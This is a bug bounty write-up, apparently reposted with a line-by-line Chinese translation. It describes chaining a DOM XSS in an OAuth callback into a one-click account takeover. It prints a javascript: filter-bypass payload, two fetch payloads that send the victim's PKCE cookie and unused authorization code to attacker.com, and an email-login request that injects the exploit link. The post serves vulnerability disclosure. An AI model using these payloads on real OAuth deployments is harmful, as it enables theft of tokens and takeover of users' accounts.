How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000 – Part 2

This is the second part of our blog series on How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000:
这是我们博客系列的第二部分,介绍了我们如何以 8000 美元的价格将 DOM XSS 升级为复杂的一键式帐户接管:

If you haven’t read the first part, we highly recommend you to do so to understand the context of this blog post.
如果您还没有阅读第一部分,我们强烈建议您阅读以了解这篇博文的上下文。

III. DOM XSS to 1-click Account Takeover
三、DOM XSS一键式账户接管

Here is the sequence diagram of the complete OAuth flow from Part 1:
以下是第 1 部分中完整 OAuth 流的序列图:

How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2

1. Finding the DOM XSS 🔎🐛
1. 查找 DOM XSS 🔎🐛

How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2

At step 8 of the login flow, the value of next parameter will be placed in the destination property, where the client-side JavaScript will then use to redirect the webpage.
在登录流程的第 8 步中, next 参数的值将放置在目标属性中,然后客户端 JavaScript 将使用该属性重定向网页。

How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2
How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2

As we can see, the destination URL is used at href sink. A typical sink for javascript: protocol DOM XSS.
正如我们所看到的,目标 URL 用于 href 接收器。协议 DOM XSS 的 javascript: 典型接收器。

However, when trying the typical payload, we are greeted with a 500 Internal Server Error
但是,在尝试典型的有效负载时,我们会遇到 500 内部服务器错误

How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2

Let’s bypass this (☞゚ヮ゚)☞
让我们绕过这个(゚ ☞ヮ゚) ☞

1
2
3
4
5
6
7
8
9
10
11
Here are my attempts:

javascript:alert(1) => ❌ Does not work

https://attacker.com => ❌ Does not work

https://account.partner.com/random_stuff_here => ✅ Works

javascript://account.partner.com/random_stuff_here => ✅ Works

javascript://account.partner.com/%0Aalert(1) => ✅ Works

So basically, the server only checks for the domain name if it is account.partner.com after :// without checking the protocol.
所以基本上,服务器只检查 account.partner.com 域名,如果它没有检查协议。 ://

Moreover, javascript://account.partner.com/%0Aalert(1) is a completely valid XSS payload.
此外, javascript://account.partner.com/%0Aalert(1) 是一个完全有效的 XSS 有效负载。

In JS, // is treated as a line comment, so it will comment out the account.partner.com part and %0A will creates a newline where alert(1) will be executed.
在 JS 中, // 被视为行注释,因此它将注释掉 account.partner.com 该部分并 %0A 创建一个将在其中 alert(1) 执行的换行符。

You can try this yourself on the browser console.
您可以在浏览器控制台上自行尝试。

1
window.location.href = "javascript://account.partner.com/%0Aalert(1)"
How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2

So we now have a valid XSS payload to bypass the domain name check!
因此,我们现在有一个有效的 XSS 有效负载来绕过域名检查!

2. First attempt on performing the ATO 😥
2. 首次尝试执行 ATO 😥

In order for us to perform the ATO we need to get 2 things:
为了让我们执行 ATO,我们需要得到 2 件事:

  • The code verifier (available in the xxxxx-pkce cookie) associated with the authorization code
    与授权代码关联的代码验证器( xxxxx-pkce 在 cookie 中可用)
  • The authorization code (available on the URL)
    授权代码(可在 URL 上找到)

We can both get these with our XSS and send them back to our attacker’s server.
我们都可以用我们的 XSS 获取这些,并将它们发送回攻击者的服务器。

However, there is one catch:
但是,有一个问题:

Our XSS on  我们的 XSS 在

1
https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0Aalert(window.location.href)&code=<authorization_code>

is only executed after the authorization code is used successfully.
只有在成功使用授权码后才会执行。

How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2

As you can see, the authorization_code is already used and verified at step 9.
如您所见,已在步骤 9 中使用并验证了 authorization_code

Because the authorization_code is only allowed to use 1 time only, when we try to exchange the captured authorization_code and code_verifier for the victim’s access token at POST /access_token the following error will occur:
因为只 authorization_code 允许使用1次,当我们尝试交换捕获 authorization_code 的和 code_verifier 受害者的访问令牌时 POST /access_token ,会出现以下错误:

1
{"error":"invalid_grant","errorDescription":"`code` is expired"}

We need to find some way to allow us to capture the victim’s code verifier and the associated authorization code before it is used!
我们需要找到一些方法,让我们在使用之前捕获受害者 code verifier 和相关 authorization code 人员!

3. How we overcome the 1-time code issue 😤
3. 我们如何克服一次性代码问题 😤

  • In order to get the valid access token of the victim, we need to get their code verifier (xxxxx-pkce) and the unused generated authorization code (code).
    为了获取受害者的有效访问令牌,我们需要获取他们的验证码( xxxxx-pkce )和未使用的生成授权码( code )。

  • Few hours later, we came up with the idea of forcing the victim’s browser to use the attacker’s authorization code to trigger the XSS and steal the victim’s unused authorization code.
    几个小时后,我们想出了一个主意,即强制受害者的浏览器使用 触发 attacker’s authorization code XSS 并窃取 victim’s unused authorization code .

    How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2
  • We will first tamper the redirect_uri parameter to something like this:
    我们将首先将 redirect_uri 参数篡改为如下所示:

    1
    https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>
  • The /oauth_callback at step 7 will look like this:
    /oauth_callback 第 7 步将如下所示:

    • Please notice that now there are 2 code params in the URL as the server will prepend the newly generated victim’s authorization_code to the previous supplied redirect_uri
      请注意,现在 URL 中有 2 code 个参数,因为服务器会将新生成的受害者 authorization_code 的参数添加到之前提供 redirect_uri 的受害者之前

    1
    https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>&code=<victim_code>
  • This time the application will use the first code parameter in the URL and log the victim into the Attacker’s account.
    这一次,应用程序将使用 URL 中的第一个 code 参数和 log the victim into the Attacker’s account .

  • After that the XSS will be triggered, sending the unused victim’s authorization code (the second code) to the attacker’s server.
    之后,将触发 XSS,将未使用的受害者授权代码(第二个 code )发送到攻击者的服务器。

  • The attacker can now use this unused code for exchanging the victim’s access token.
    攻击者现在可以使用此未使用的代码来交换受害者的访问令牌。

  • We also need to take the code_verifier(xxxxx-pkce cookie) into account.
    我们还需要考虑 code_verifierxxxxx-pkce cookie)。

  • Essentially, we will force the victim into using the attacker’s authorization_code and the code_verifier for logging in, then we will steal their unused authorization_code and code_verifier.
    从本质上讲,我们将迫使受害者使用攻击者的authorization_code和code_verifier登录,然后我们将窃取他们未使用的authorization_code和code_verifier。

  • The flow will look like this:
    流程将如下所示:

    How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2
    How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2

    Link to the the sequence diagram in SVG format
    链接到 SVG 格式的序列图

    1. Victim clicks on the malicious link and login on page account.redacted.com. The link will look like this:
      受害者点击恶意链接并登录页面 account.redacted.com 。该链接将如下所示:

      1
      https://account.redacted.com/authorize?redirect_uri=https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0A[XSS payload 1]&response_type=code
    2. After logging in successfully, account.redacted.com will return the authorization_code within the redirect_uri and then redirect victim to that redirect_url
      登录成功后, account.redacted.comauthorization_code 返回 within , redirect_uri 然后将受害者重定向到该 redirect_url

      1
      redirect_url = redirect_uri + "<authorization_code>"

      In this case, the redirect URL will be:
      在这种情况下,重定向 URL 将为:

      1
      redirect_url = "https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0A[XSS payload 1]" + "&code=<authorization_code>"
    3. account.partner.com will verify this authorization_code along with the code_verifier.
      account.partner.com authorization_code 将与 code_verifier .

      After that, the victim continues to get redirected to the URL stored in the parameter next (which is also a XSS payload)
      之后,受害者继续被重定向到存储在参数中的 URL next (这也是 XSS 有效负载)

      1
      next=javascript://account.partner.com/%0A[XSS payload 1]
    4. The XSS payload 1 will trigger and do 3 things:
      XSS payload 1 触发并执行 3 件事:

      • Send the current victim’s cookie xxxxx-pkce (code_verifier) back to attacker’s server
        将当前受害者的 cookie xxxxx-pkcecode_verifier ) 发送回攻击者的服务器
      • Set the victim’s xxxxx-pkce cookie to the attacker’s xxxxx-pkce cookie
        将受害者 xxxxx-pkce 的 cookie 设置为攻击者的 xxxxx-pkce cookie
      • Force the victim to perform the OAuth flow again with the attacker's authorization code. Hence, logging the victim to the attacker’s account.
        强制受害者 again 使用 attacker's authorization code .因此,将受害者记录到攻击者的帐户。

      XSS payload 1: XSS 有效负载 1:

      1
      2
      3
      4
      5
      6
      7
      8
      // The pkce is stored in the cookie, so we just need to send all the cookie to the attacker's server
      fetch("//attacker.com?pkce=" + document.cookies)
      .then(r => {
      	// Set the attacker's pkce on the victim's browser
      	document.cookie="xxxxx-pkce = <attacker_pkce>"
      	// Force the victim to perform the OAuth flow again to log the victim in the attacker's account and  trigger the 2nd XSS
      	window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=<attacker-code>&next=javascript://account.partner.com/%0A[XSS payload 2]")
      })

      This time the redirect_uri will looks like this:
      这一次的 redirect_uri 遗嘱是这样的:

      1
      https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A[XSS payload 2]
    5. Now, because both of the attacker’s xxxxx-pkce and code is valid, the victim will now successfully log in the attacker’s account and trigger the redirection containing XSS payload 2.
      现在,由于攻击者的 xxxxx-pkcecode 都有效,受害者现在将成功登录并 attacker’s account 触发包含 XSS payload 2 .

      • Please noticed on the first parameter code (attacker_code) is used for authenticating the victim to our attacker’s account. The second parameter code (victim_code) will still remain unused.
        请注意,第一个参数 codeattacker_code ) 用于对攻击者帐户的受害者进行身份验证。第二个参数 codevictim_code ) 仍将保持未使用状态。
      How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2
      • The XSS payload 2 will send the unused authorization_code from the URL back to attacker sserver.
        XSS payload 2 unused authorization_code 将 URL 发送回攻击者服务器。

      1
      2
      // the victim's authorization code will be in the url
      fetch("//attacker.com?code=" + window.location.href)
  • Overall, the crafted exploit URLs and XSS payloads should look like this:
    总体而言,构建的漏洞利用 URL 和 XSS 有效负载应如下所示:

    • Attack URL 攻击 URL

    1
    https://account.redacted.com/authorize?redirect_uri=javascript://account.partner.com/%0A[XSS payload 1]
    • XSS payload 1 XSS 有效负载 1

    1
    2
    3
    4
    5
    6
    7
    8
    // The pkce is stored in the cookie, so we just need to send all the cookie to the attacker's server
    fetch("//attacker.com?pkce=" + document.cookies)
    .then(r => {
    	// Set the attacker's pkce on the victim's browser
    	document.cookie="xxxxx-pkce = <attacker_pkce>"
    	// Force the victim to perform the OAuth flow again to log the victim in the attacker's account and  trigger the 2nd XSS
    	window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=<attacker-code>&next=javascript://account.partner.com/%0A[XSS payload 2]")
    })
    • XSS payload 2 XSS 有效载荷 2

    1
    2
    // the victim's authorization code will be in the url
    fetch("//attacker.com?code=" + window.location.href)
  • After receiving both of the victim’s authorization_code and code_verifier on our attacker’s server. We can use them to exchange for the access token 💪💪💪
    在收到受害者 authorization_codecode_verifier 攻击者服务器后。我们可以使用它们来交换访问令牌 💪💪💪

4. Escalate, escalate, escalate,… to one-click mail ATO 🏃‍♂️🏃‍♂️🏃‍♂️
4.升级,升级,升级,…一键邮件 ATO 🏃 ♂️🏃 ♂️🏃 ♂️

  • After the success in performing the ATO by tricking the user into clicking on the crafted link, this is clearly a valid issue and we could submit the bug and then rest 😴.
    在通过诱骗用户单击精心制作的链接成功执行 ATO 之后,这显然是一个有效的问题,我们可以提交错误然后休息😴。
  • However, our ego (😎) told us that this was still not the maximum impact of this bug, therefore, we continued to raise the impact.
    然而,我们的自我(😎)告诉我们,这仍然不是这个错误的最大影响,因此,我们继续提高影响。
  • The problem that stops this bug from maximizing the impact is it requires a huge effort in the social engineering state to trick the victim into clicking on the crafted link. Obviously, there is a very small chance that the user will click on the lengthy link like that.
    阻止此错误最大化影响的问题是,在社会工程状态下,它需要付出巨大的努力才能诱骗受害者点击精心制作的链接。显然,用户点击这样的冗长链接的可能性很小。
  • At this state, the first possible solution that comes across our mind is using the logging with email verification link function and injecting the malicious link via redirect parameter.
    在这种状态下,我们想到的第一个可能的解决方案是使用带有电子邮件验证链接功能的日志记录,并通过重定向参数注入恶意链接。
  • We continued to search the app and found all of the possible login portals. Luckily, we found 2 of them that allow user login via email.
    我们继续搜索该应用程序并找到了所有可能的登录门户。幸运的是,我们找到了其中 2 个允许用户通过电子邮件登录。
  • Here is the request:
    这是请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /v1/email/login/request HTTP/2
Host: api.xxxxxx.com
Cookie: <====SNIP====>
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://account.xxxx.com/
Content-Type: application/json
X-Locale-Language: en-US
Content-Length: 202
Origin: https://account.xxxxx.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

{"email":"[email protected]","next_url":"<===XSS_REDIRECT_HERE===>","login_session_uuid":"697a3410-11ff-4ba6-bd31-3b26ed7dfac5"}
  • This will send an email with the log-in link to the victim
    这将向受害者发送一封包含登录链接的电子邮件
How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2
  • After the victim clicks on the “Log in” button, there will be 2 cases:
    受害人点击“登录”按钮后,会有2种情况:

    • If the victim is logged in: The application will automatically redirect the victim back to our malicious link in the parameter next_url ⇒ The ATO XSS is triggered
      If the victim is logged in: 该应用程序会自动将受害者重定向回参数中的恶意链接 next_url ⇒ 触发 ATO XSS
    • If the victim is not logged in: The login link from the email will automatically log the victim into his account. After that, the victim will be redirected back to our malicious link in the parameter next_url ⇒ The ATO XSS is triggered
      If the victim is not logged in: 电子邮件中的登录链接将自动将受害者登录到他的帐户中。之后,受害者将被重定向回参数中的恶意链接 next_url ⇒ 触发 ATO XSS

⇒ 💣💣💣 So that is our full chain of One-click ATO via the target’s email.
💣💣💣 ⇒ 这就是我们通过目标电子邮件的一键式ATO的完整链条。

In our actual exploit, we have created a script to automate all the steps we’ve mentioned.
在我们的实际漏洞利用中,我们创建了一个脚本来自动执行我们提到的所有步骤。

IV. Conclusion 四、结语

We hope that you guys enjoy our first blog post! Some details has been ruled out (encoding, payload length limiting, …) in order to keep this blog post concise and not too confusing.
我们希望你们喜欢我们的第一篇博文!一些细节已被排除(编码、有效载荷长度限制等),以保持这篇博文的简洁性,不会太混乱。

We truly believe that by focusing on understanding how every thing works, interesing issues will start showing up!
我们真的相信,通过专注于了解每件事是如何运作的,内部问题就会开始出现!

This vulnerability took us a whole week to identify and write the fully functional exploit. Another week to explain and go through the triaging stages.
这个漏洞花了我们整整一周的时间来识别和编写功能齐全的漏洞。再过一周来解释和经历分类阶段。

Side story, this is also our first time having a Google Meet session with the program’s security team. We had to perform the exploit live to demonstrate the impact until 2AM in the morning. It was a pretty fun experience. 😀
顺便说一句,这也是我们第一次与该计划的安全团队进行 Google Meet 会议。我们必须现场执行漏洞利用以演示影响,直到凌晨 2 点。这是一次非常有趣的经历。:D

Finally, our hard work was paid off with a reward of $8000 🤩
最终,我们的辛勤工作得到了回报,获得了 8000 🤩 美元的奖励

How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for 00 - Part 2

Thank you for reading! We hope that we’ll find more interesting cases in the future to share with you guys!
感谢您的阅读!我们希望以后能找到更多有趣的案例与大家分享!

原文始发于thefrogsec:How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000 – Part 2

版权声明:admin 发表于 2024年4月11日 下午4:50。
转载请注明:How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000 – Part 2 | CTF导航

相关文章